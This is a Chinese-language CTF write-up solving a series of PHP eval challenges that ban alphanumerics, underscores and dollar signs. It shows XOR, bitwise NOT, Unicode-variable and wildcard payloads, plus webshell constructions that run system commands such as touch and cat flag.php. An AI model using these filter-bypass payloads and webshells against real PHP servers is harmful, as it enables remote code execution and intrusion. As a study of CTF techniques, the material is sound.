最近看到一系列有难度的CTF题,网上已经有大佬给出了充分的解答,在此记录一下

简单

先看一下该系列的简单版本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

这里需要通过控制code变量传入eval中,来达到代码执行getFlag()的目的。难点在于code中不能含有字母和数字,解决这个问题的方法在p神的博客 ,其中的思想就是通过运算操作结合一些小技巧构造出字母

这里使用异或操作来构造字符,利用类似$_这样的变量进行传递,最终构造出一个payload:
?code=$_=(']'^':').('^'^';').('^'^'*').('{'^'=').('@'^',').('@'^'!').('<'^'[');$_();&_=getFlag

但是明显超出了40的长度限制,于是利用字符串之间异或时,会采用对应字符进行异或的小技巧:

1
2
<?php
echo ']^^{@@<'^':;*=,![';//getFlag

于是乎,得到一个更简短的payload:
?code=$_=']^^{@@<'^':;*=,![';$_();

更好的利用方式是,使用${}来执行拼接字符串的操作,然后再进行动态执行函数,达到一个Webshell的效果:

1
2
3
<?php
$_="_".("~`~~"^"./-*");//$_='_POST'
${$_}[_](${$_}[__]);

[POST]数据内容_=getFlag&__=

_

如果进一步限制,使code中不能包含_:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

可以作为变量名的还可以是一些特殊字符,比如汉字,于是
?code=$小=']^^{@@<'^':;*=,![';$小();

构造一个Webshell当然也没问题

1
2
3
<?php
$小="`{{{"^"?<>/";//$小='_GET'
${$小}[虫](${$小}[师]);

[GET]数据内容?虫=system&师=touch+/tmp/success

举一反三,取反操作也是类似的
?code=$小=~(%98%9A%8B%B9%93%9E%98);$小();
其中的URL编码是getFlag取反的结果

另外,某师傅直接在${}中使用构造的字符作为变量也是不错的方法,只是在这题里太长了
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

$

难度进一步提升,限制不能出现$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

看到题的时候懵了,不知道咋搞,结果群里有大佬提醒了通配符,想了想有一种可能的方法

1
?code=?><?=`/???/??? ????.???`?>

eval的原因,需要用?>去闭合前面的php结构,然后使用<?=?>去输出代码执行的结果,代码中用`反引号去执行命令,命令中使用通配符的方式去匹配/bin/cat flag.php绕过限制。

为什么是可能的方法呢?因为自己本地没成功,而且这样题目中的注释就是个误导作用了

参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w